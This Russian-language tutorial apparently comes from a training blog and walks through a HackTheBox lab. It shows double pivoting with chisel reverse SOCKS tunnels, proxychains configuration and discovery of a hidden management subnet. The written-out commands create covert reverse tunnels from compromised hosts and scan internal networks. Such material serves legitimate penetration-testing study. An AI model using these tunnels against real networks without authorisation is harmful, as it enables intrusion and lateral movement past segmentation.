Перейти к содержимому

Pivoting через chisel: двойной pivot на HTB-машине с картированием скрытой сети

Pivoting через chisel: двойной pivot на HTB-машине с картированием скрытой сети
Время чтения: 11 мин.

На модуле HTB «Attacking Enterprise Networks» я полчаса сканировал management-подсеть вслепую — подставлял диапазоны 172.16.9.0/24, потом 10.0.0.0/24. Ни один хост не отвечал. Проблема была не в сети: я поднял один pivot через chisel до DMZ (демилитаризованная зона — сегмент между внешней и внутренней сетью), но забыл, что до management-сегмента нужен второй туннель — через контроллер домена. Трафик от nmap уходил напрямую, минуя цепочку. Четыре команды и пять минут — двойной pivot через chisel готов. Картирование сети через ARP-таблицу и точечное сканирование — ещё десять. Всё вместе оказалось быстрее бессмысленного перебора.

Что такое pivoting через chisel и зачем нужен туннель

Pivoting (дословно — «поворот») — техника, при которой атакующий использует скомпрометированный хост как промежуточную точку для доступа к сетям, недоступным напрямую. В терминах MITRE ATT&CK (открытая база тактик и техник атак; каждой технике присвоён T-код — уникальный идентификатор) это Internal Proxy (T1090.001, тактика Command and Control): настройка прокси на внутреннем хосте для маршрутизации атакующего трафика в закрытый сегмент.

Бизнес-логика атаки простая: корпоративные сети сегментированы. Пользовательский VLAN (Virtual LAN — изолированный логический сегмент сети) не видит серверный, серверный не видит management-сеть. Между ними — файрволы и маршрутизаторы. Но если хост подключён к двум сетям одновременно (dual-homed — с двумя сетевыми интерфейсами), его компрометация превращает «изолированный» сегмент в доступный. Для атакующего это кратчайший путь к высокоценным активам: контроллерам домена, базам данных, management-консолям. Двойной pivot — ситуация, когда между тобой и целью лежат два таких промежуточных узла.

Chisel — инструмент для туннелирования TCP/UDP-соединений поверх HTTP, написанный на Go. Один бинарный файл (~8 МБ), без зависимостей, работает на Linux, Windows и macOS. Для pivoting chisel используется в режиме reverse SOCKS proxy: клиент на скомпрометированном хосте подключается к серверу на атакующей машине и открывает SOCKS5-прокси. SOCKS (Socket Secure) — протокол, который перенаправляет TCP-соединения через промежуточный хост; версия 5 поддерживает аутентификацию и UDP. Через этот прокси ты маршрутизируешь свой трафик во внутреннюю сеть.

Из альтернатив — SSH-туннелирование (встроено в ОС, но нужен SSH-доступ на pivot-хосте) и ligolo-ng (создаёт TUN-интерфейс — виртуальный сетевой адаптер, удобнее для маршрутизации, но капризнее при многоходовых цепочках). Chisel берут, когда на хосте нет SSH-сервера и нужен быстрый результат без установки дополнительных пакетов.

HTB-машина с двойным NAT: схема сети и предусловия

На HTB-лабораториях «двойной NAT» — разговорное описание ситуации, когда между атакующим и целью лежат два сетевых сегмента с собственными адресными пространствами. Строго говоря, это не NAT (Network Address Translation — подмена IP-адресов на маршрутизаторе), а сетевая сегментация, но суть одна: прямого маршрута до цели нет.

Типичная конфигурация модуля Attacking Enterprise Networks:

  • Kali (10.10.14.X) — атакующая машина, видит только DMZ-хост
  • Pivot1 / DMZ01 (10.10.14.X | 172.16.8.X) — dual-homed хост между VPN-сетью HTB и серверным сегментом
  • Pivot2 / DC01 (172.16.8.X | 172.16.9.X) — контроллер домена Active Directory, dual-homed между серверным и management-сегментом
  • Target / MGMT01 (172.16.9.X) — целевой хост, доступен только из management-подсети

Kali не может отправить пакет в 172.16.9.0/24 — между ними два сетевых барьера. Нужны два последовательных chisel-туннеля.

Перед стартом убедись, что выполнены условия: на Kali установлен chisel (apt install chisel) и proxychains-ng (предустановлен); получен shell на Pivot1 — SSH, reverse shell, Meterpreter — подойдёт любой; на каждый pivot-хост загружен бинарь chisel под его ОС (страница релизов GitHub jpillora/chisel); получен доступ к Pivot2 через первый туннель — обычно через SMB (порт 445) или WinRM (порт 5985).

Нюанс по версиям: если на pivot-хосте старая glibc (системная библиотека Linux, привязанная к версии ОС), свежий бинарь chisel не запустится — GLIBC_2.32 not found. Два выхода: скачать chisel версии 1.7.4 или ниже, либо собрать статический бинарь: go build --ldflags '-linkmode external -extldflags "-static"'. На форуме HTB десятки тредов от людей, потерявших часы на отладку того, что решается одной старой версией.

Двойной pivot через chisel: пошаговый разбор

Каждый прыжок — отдельный экземпляр chisel. Первый создаёт SOCKS-прокси для доступа к серверному сегменту. Второй — для доступа к management-сети через серверный сегмент. Потом proxychains объединяет оба прокси в цепочку.

Делай раз: chisel-сервер и первый SOCKS-туннель

Цель шага — создать SOCKS5-прокси на Kali, чтобы трафик выходил из DMZ01 в подсеть 172.16.8.0/24.

На Kali запускаем chisel в режиме сервера: ./chisel server --reverse -p 9001. Флаг --reverse разрешает клиентам создавать обратные туннели — без него DMZ01 не сможет открыть прокси на стороне Kali.

На DMZ01 запускаем клиент: ./chisel client 10.10.14.X:9001 R:9999:socks. Клиент подключается к серверу на Kali по порту 9001 и создаёт SOCKS5-прокси по адресу 127.0.0.1:9999 на стороне Kali. Всё, что пойдёт через этот прокси, будет выходить из DMZ01 в серверный VLAN.

Проверяем: на Kali выполни proxychains nmap -sT -Pn -p 445 172.16.8.3. Порт ответил — первый hop готов. Флаг -sT обязателен: SOCKS работает на уровне TCP-соединений, а стандартный SYN-скан nmap (-sS) использует raw-сокеты (прямой доступ к сетевому стеку ОС), которые через SOCKS не проходят. -Pn отключает ICMP-пинг — SOCKS не проксирует ICMP.

Делай два: второй chisel-сервер и туннель через контроллер домена

Тут начинается то, что отличает двойной pivot HTB от одинарного. На DMZ01 нужно поднять второй экземпляр chisel — уже в роли сервера, чтобы DC01 мог к нему подключиться.

На DMZ01: ./chisel server -p 9002 --reverse --socks5. Теперь DMZ01 одновременно клиент (подключён к Kali) и сервер (ждёт подключения от DC01). Флаг --socks5 активирует SOCKS5-проксирование на стороне сервера.

На DC01: chisel.exe client 172.16.8.120:9002 R:8888:socks. DC01 подключается к DMZ01 на порт 9002 и создаёт SOCKS5-прокси на порту 8888. Этот прокси живёт на DMZ01 (на 127.0.0.1:8888), а трафик через него выходит из DC01 в management-подсеть 172.16.9.0/24.

Все четыре команды для chisel client server:

# Kali: сервер, принимает обратные туннели на порту 9001
./chisel server --reverse -p 9001
# DMZ01: клиент → SOCKS5 на Kali (127.0.0.1:9999)
./chisel client 10.10.14.X:9001 R:9999:socks
# DMZ01: второй экземпляр — сервер для DC01
./chisel server -p 9002 --reverse --socks5
# DC01: клиент → SOCKS5 на DMZ01 (127.0.0.1:8888)
chisel.exe client 172.16.8.120:9002 R:8888:socks

Делай три: proxychains для двойной SOCKS-цепочки

proxychains-ng перехватывает TCP-соединения программы и направляет их через указанные SOCKS-прокси. Для двойного pivot нужно указать оба прокси в правильном порядке.

Открой /etc/proxychains4.conf и приведи к такому виду:

strict_chain
# dynamic_chain и random_chain — закомментировать
# socks4 127.0.0.1 9050 — удалить или закомментировать

[ProxyList]
socks5 127.0.0.1 9999
socks5 127.0.0.1 8888

Режим strict_chain означает: proxychains проходит через прокси строго по порядку. Первым идёт 9999 (Kali → DMZ01), вторым 8888 (DMZ01 → DC01). Момент, на котором спотыкаются: вторая строка socks5 127.0.0.1 8888 — это не порт 8888 на Kali, а порт 8888 на DMZ01. proxychains обращается к нему через первый туннель, поэтому 127.0.0.1 в контексте второго прокси разрешается на стороне DMZ01, где и слушает второй SOCKS.

Проверка: proxychains nmap -sT -Pn -p 22 172.16.9.25. В выводе proxychains покажет цепочку: Strict chain ... 127.0.0.1:9999 ... 127.0.0.1:8888 ... 172.16.9.25:22 ... OK. Видишь OK — двойной pivot работает. Latency 10–15 секунд на порт — нормально для двух прыжков.

Картирование скрытой сети вместо перебора IP

Pivot поднят, но в management-подсети может быть не один хост. Слепой перебор /24 через двойной SOCKS — мучительно медленно: 5–15 секунд на один порт одного адреса, полный скан 254 адресов по 10 портам займёт часы. Правильный подход — собрать информацию с промежуточных хостов до сканирования.

В терминах MITRE ATT&CK это System Network Configuration Discovery (T1016, тактика Discovery) и Remote System Discovery (T1018). DC01 — второй pivot-хост — имеет прямой доступ к management-подсети. Три источника дают точные IP за секунды.

ARP-таблица — на DC01 выполни arp -a (Windows) или ip neigh (Linux). Каждая запись с IP из подсети 172.16.9.0/24 и свежим MAC-адресом — живой хост, с которым DC01 недавно обменивался пакетами.

Таблица маршрутизации — route print (Windows). Строка с 172.16.9.0 On-link подтверждает: подсеть напрямую подключена к интерфейсу.

Активные TCP-соединения — netstat -ano (T1049 — System Network Connections Discovery) или Get-NetTCPConnection в PowerShell. Покажут, к каким IP DC01 уже подключён. Если DC01 реплицирует Active Directory с другим контроллером в management-сети — его адрес будет в выводе.

Если ARP и netstat не дали полной картины — пинг-свип через PowerShell:

1..254 | ForEach-Object {
  $ip = "172.16.9.$_"
  if (Test-Connection -Count 1 -Comp $ip -Quiet) {
    Write-Host "$ip alive"
  }
}

Скрипт последовательно пингует адреса от 172.16.9.1 до 172.16.9.254. -Count 1 — один ICMP-пакет, -Quiet — возвращает True/False без лишнего вывода. Нюанс: Windows Firewall по умолчанию блокирует входящие ICMP-запросы. Если свип ничего не нашёл — это не пустая подсеть, а заблокированный пинг. Проверяй TCP-портами: Test-NetConnection -ComputerName 172.16.9.25 -Port 445. SMB (порт 445) и RDP (порт 3389) отвечают чаще, чем ICMP.

После обнаружения конкретных IP сканируй точечно с Kali: proxychains nmap -sT -Pn -sV -p 22,80,135,445,3389 172.16.9.25. Флаг -sV определяет версию сервиса. Не используй -p- (все 65535 портов) через двойной SOCKS-прокси — ограничивай диапазон интересующими портами.

Ошибки при pivoting через chisel в закрытую сеть

socket error or timeout в proxychains — трафик дошёл до первого прокси, но не прошёл через второй. Чеклист: запущен ли chisel-клиент на DC01? Совпадает ли порт в proxychains.conf (8888) с портом в команде R:8888:socks? Порт не занят другим процессом?

nmap не находит открытых портов — две частые причины. Первая: SYN-скан (-sS) вместо TCP connect (-sT). SOCKS не проксирует raw-сокеты. Вторая: забыт -Pn, и nmap шлёт ICMP-пинг, который SOCKS отбрасывает.

GLIBC_2.32 not found — бинарь chisel собран с новой glibc, на хосте стоит старая. Скачай версию 1.7.4 или собери статически.

Python-скрипты не работают через proxychains — при запуске явно указывай интерпретатор: proxychains python3 script.py. Без прямой ссылки на python3 трафик может обойти прокси — задокументированное поведение proxychains-ng.

Соединение рвётся при интенсивном сканировании — двойной SOCKS-туннель нагружает промежуточные хосты. Ограничивай параллелизм: в nmap — --max-parallelism 5 или timing template -T2. Для NetExec (бывший CrackMapExec) — --threads 3. Gobuster и ffuf через двойной SOCKS работают нестабильно — по отзывам из HTB-модулей это известная боль.

Дефолтный socks4 в proxychains.conf — если осталась строка socks4 127.0.0.1 9050 (дефолт для Tor), proxychains попытается через неё маршрутизировать и получит timeout. Закомментируй или удали.

Перепутал порты — рисуй схему. Три строки на бумажке: Kali:9001 ← DMZ01(:9999) → :9002 ← DC01(:8888) → MGMT. Я трачу 30 секунд на схему и экономлю 30 минут на отладку. На одном проекте с тремя прыжками потерял час именно потому, что не нарисовал — перепутал, через какой хост идёт третий туннель.

Большинство руководств по pivoting останавливаются на одном прыжке — и это создаёт ложное ощущение, что реальные сети устроены так же. На внутренних пентестах три-четыре сегмента — норма: management-VLAN, OT-сегмент (если промышленное предприятие), отдельная подсеть для бэкап-серверов. Chisel масштабируется — третий hop поднимается по той же схеме: ещё один chisel-сервер на предыдущем pivot, ещё один клиент на новом хосте.

Но настоящая экономия времени не в инструменте, а в привычке картировать сеть до начала сканирования. ARP-таблица и netstat -ano на каждом промежуточном хосте дают конкретные адреса за секунды. Вслепую тот же результат ищешь часами. По данным CrowdStrike Global Threat Report 2025, среднее время lateral movement (горизонтального перемещения по сети) после начального доступа — 62 минуты, а рекордный зафиксированный случай — 51 секунда. Если атакующий тратит из этих минут половину на слепой перебор — у SOC (Security Operations Center — центр мониторинга безопасности) есть окно для реагирования. Если он знает, куда идти, — окно сужается до минут.

На OSCP-подобных экзаменах я вижу одну и ту же ошибку: получили shell на pivot — и сразу тянут chisel, не заглянув в route print и arp -a. Правильный порядок: shell → route table → ARP → netstat → точечный скан. Кто это усвоил — проходит модули по pivoting за треть отведённого времени. Если хочешь отработать всю цепочку руками — на HackerLab есть лабы с аналогичной топологией.

Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.